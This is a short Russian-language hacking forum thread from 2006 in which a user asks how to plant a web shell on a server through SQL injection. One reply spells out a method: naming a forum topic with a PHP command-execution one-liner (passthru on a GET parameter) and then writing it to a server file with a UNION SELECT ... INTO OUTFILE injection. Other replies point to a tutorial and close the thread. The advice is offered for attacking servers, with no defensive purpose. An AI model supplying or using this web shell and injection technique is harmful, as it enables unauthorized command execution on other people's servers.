Помогите имея скул иньекцию залить на сервер шел

Discussion in 'Песочница' started by arts, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. arts

    arts Elder - Старейшина

    Joined:
    20 Jul 2005
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    Как имея скул иньекцию залить на сервер шел?
    возможно ли такое??
     
  2. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    да возможно, используя запросы wget
     
  3. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Запросы wget здесь нипричем =)

    действия примерно такие(на примере форума):
    создаешь топик с именем <?php passthru($_GET[cmd]) ?> и
    потом через sql-иньекцию выполняешь запрос опять же что-то типа -1 UNION SELECT topic_name, null, null FROM bb_topics INTO OUTFILE абсолютный_путь_к_шеллу WHERE topic_id = номер_топика
     
  4. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    http://forum.antichat.ru/thread19605.html

    Тут написано, как получить шелл с помощью SQL-inj
     
  5. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    Верно, спасибо за расширеный ответ.
     
  6. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Пользуемся поиском.
    Тема закрыта.
     
Thread Status:
Not open for further replies.